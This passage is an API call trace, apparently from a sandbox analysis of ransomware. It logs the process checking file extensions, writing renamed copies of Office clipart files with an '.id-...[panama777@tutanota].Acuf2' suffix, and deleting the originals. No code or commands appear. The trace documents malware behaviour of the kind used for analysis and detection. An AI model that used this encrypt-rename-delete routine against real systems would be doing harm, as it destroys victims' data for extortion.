	[0260.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.934] lstrlenW (lpString=".docx") returned 5
	[0260.934] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.935] lstrlenW (lpString=".pdf") returned 4
	[0260.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.935] lstrlenW (lpString=".xls") returned 4
	[0260.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.935] lstrlenW (lpString=".xlsx") returned 5
	[0260.935] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.935] lstrlenW (lpString=".ppt") returned 4
	[0260.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63
	[0260.935] lstrlenW (lpString=".zip") returned 4
	[0260.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.935] lstrlenW (lpString=".rar") returned 4
	[0260.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.935] lstrlenW (lpString=".bz2") returned 4
	[0260.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.935] lstrlenW (lpString=".7z") returned 3
	[0260.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63
	[0260.935] lstrlenW (lpString=".dbf") returned 4
	[0260.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63
	[0260.935] lstrlenW (lpString=".1cd") returned 4
	[0260.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63
	[0260.935] lstrlenW (lpString=".jpg") returned 4
	[0260.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0260.954] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.954] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0260.955] GetLastError () returned 0x0
	[0260.955] ReadFile (in: hFile=0x358, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x8b4, lpOverlapped=0x0) returned 1
	[0260.956] WriteFile (in: hFile=0x33c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x8c0, lpOverlapped=0x0) returned 1
	[0260.957] ReadFile (in: hFile=0x358, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.957] WriteFile (in: hFile=0x33c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.957] SetEndOfFile (hFile=0x33c) returned 1
	[0260.957] CloseHandle (hObject=0x33c) returned 1
	[0260.957] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.957] SetEndOfFile (hFile=0x358) returned 1
	[0260.959] CloseHandle (hObject=0x358) returned 1
	[0260.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf")) returned 1
	[0260.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63
	[0260.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63
	[0260.960] lstrlenW (lpString=".doc") returned 4
	[0260.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.960] lstrlenW (lpString=".docx") returned 5
	[0260.960] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.960] lstrlenW (lpString=".pdf") returned 4
	[0260.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.960] lstrlenW (lpString=".xls") returned 4
	[0260.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.960] lstrlenW (lpString=".xlsx") returned 5
	[0260.960] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.960] lstrlenW (lpString=".ppt") returned 4
	[0260.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63
	[0260.960] lstrlenW (lpString=".zip") returned 4
	[0260.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.960] lstrlenW (lpString=".rar") returned 4
	[0260.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.960] lstrlenW (lpString=".bz2") returned 4
	[0260.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.960] lstrlenW (lpString=".7z") returned 3
	[0260.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63
	[0260.960] lstrlenW (lpString=".dbf") returned 4
	[0260.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63
	[0260.960] lstrlenW (lpString=".1cd") returned 4
	[0260.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63
	[0260.961] lstrlenW (lpString=".jpg") returned 4
	[0260.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.963] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=2300) returned 1
	[0260.963] CloseHandle (hObject=0x358) returned 1
	[0260.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x20
	[0260.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0260.963] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.963] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0260.964] GetLastError () returned 0x0
	[0260.964] ReadFile (in: hFile=0x358, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x8fc, lpOverlapped=0x0) returned 1
	[0260.965] WriteFile (in: hFile=0x33c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x900, lpOverlapped=0x0) returned 1
	[0260.966] ReadFile (in: hFile=0x358, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.966] WriteFile (in: hFile=0x33c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.966] SetEndOfFile (hFile=0x33c) returned 1
	[0260.966] CloseHandle (hObject=0x33c) returned 1
	[0260.966] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.966] SetEndOfFile (hFile=0x358) returned 1
	[0260.968] CloseHandle (hObject=0x358) returned 1
	[0260.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.968] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf")) returned 1
	[0260.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63
	[0260.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63
	[0260.969] lstrlenW (lpString=".doc") returned 4
	[0260.969] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.969] lstrlenW (lpString=".docx") returned 5
	[0260.969] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.969] lstrlenW (lpString=".pdf") returned 4
	[0260.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.969] lstrlenW (lpString=".xls") returned 4
	[0260.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.969] lstrlenW (lpString=".xlsx") returned 5
	[0260.969] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.969] lstrlenW (lpString=".ppt") returned 4
	[0260.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63
	[0260.969] lstrlenW (lpString=".zip") returned 4
	[0260.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.969] lstrlenW (lpString=".rar") returned 4
	[0260.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.969] lstrlenW (lpString=".bz2") returned 4
	[0260.969] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.969] lstrlenW (lpString=".7z") returned 3
	[0260.969] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63
	[0260.969] lstrlenW (lpString=".dbf") returned 4
	[0260.969] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63
	[0260.969] lstrlenW (lpString=".1cd") returned 4
	[0260.969] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 63
	[0260.969] lstrlenW (lpString=".jpg") returned 4
	[0260.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.033] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=2080) returned 1
	[0261.033] CloseHandle (hObject=0x334) returned 1
	[0261.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x20
	[0261.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.033] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.033] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.034] GetLastError () returned 0x0
	[0261.034] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x820, lpOverlapped=0x0) returned 1
	[0261.043] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x830, lpOverlapped=0x0) returned 1
	[0261.044] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.044] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.045] SetEndOfFile (hFile=0x330) returned 1
	[0261.045] CloseHandle (hObject=0x330) returned 1
	[0261.045] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.045] SetEndOfFile (hFile=0x334) returned 1
	[0261.047] CloseHandle (hObject=0x334) returned 1
	[0261.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.047] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf")) returned 1
	[0261.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63
	[0261.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63
	[0261.047] lstrlenW (lpString=".doc") returned 4
	[0261.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.047] lstrlenW (lpString=".docx") returned 5
	[0261.047] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.047] lstrlenW (lpString=".pdf") returned 4
	[0261.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.047] lstrlenW (lpString=".xls") returned 4
	[0261.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.047] lstrlenW (lpString=".xlsx") returned 5
	[0261.047] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.047] lstrlenW (lpString=".ppt") returned 4
	[0261.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63
	[0261.048] lstrlenW (lpString=".zip") returned 4
	[0261.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.048] lstrlenW (lpString=".rar") returned 4
	[0261.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.048] lstrlenW (lpString=".bz2") returned 4
	[0261.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.048] lstrlenW (lpString=".7z") returned 3
	[0261.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63
	[0261.048] lstrlenW (lpString=".dbf") returned 4
	[0261.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63
	[0261.048] lstrlenW (lpString=".1cd") returned 4
	[0261.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 63
	[0261.048] lstrlenW (lpString=".jpg") returned 4
	[0261.048] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.049] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=1888) returned 1
	[0261.049] CloseHandle (hObject=0x334) returned 1
	[0261.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x20
	[0261.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.049] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.049] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.049] GetLastError () returned 0x0
	[0261.049] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x760, lpOverlapped=0x0) returned 1
	[0261.051] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x770, lpOverlapped=0x0) returned 1
	[0261.052] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0261.052] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0261.052] SetEndOfFile (hFile=0x330) returned 1
	[0261.052] CloseHandle (hObject=0x330) returned 1
	[0261.052] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.052] SetEndOfFile (hFile=0x334) returned 1
	[0261.054] CloseHandle (hObject=0x334) returned 1
	[0261.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0261.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01176_.wmf")) returned 1
	[0261.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63
	[0261.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63
	[0261.054] lstrlenW (lpString=".doc") returned 4
	[0261.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0261.055] lstrlenW (lpString=".docx") returned 5
	[0261.055] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0261.055] lstrlenW (lpString=".pdf") returned 4
	[0261.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0261.055] lstrlenW (lpString=".xls") returned 4
	[0261.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0261.055] lstrlenW (lpString=".xlsx") returned 5
	[0261.055] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0261.055] lstrlenW (lpString=".ppt") returned 4
	[0261.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0261.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63
	[0261.055] lstrlenW (lpString=".zip") returned 4
	[0261.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0261.055] lstrlenW (lpString=".rar") returned 4
	[0261.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0261.055] lstrlenW (lpString=".bz2") returned 4
	[0261.055] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0261.055] lstrlenW (lpString=".7z") returned 3
	[0261.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0261.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63
	[0261.055] lstrlenW (lpString=".dbf") returned 4
	[0261.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0261.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63
	[0261.055] lstrlenW (lpString=".1cd") returned 4
	[0261.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0261.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 63
	[0261.055] lstrlenW (lpString=".jpg") returned 4
	[0261.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0261.056] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=3796) returned 1
	[0261.056] CloseHandle (hObject=0x334) returned 1
	[0261.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x20
	[0261.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0261.056] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
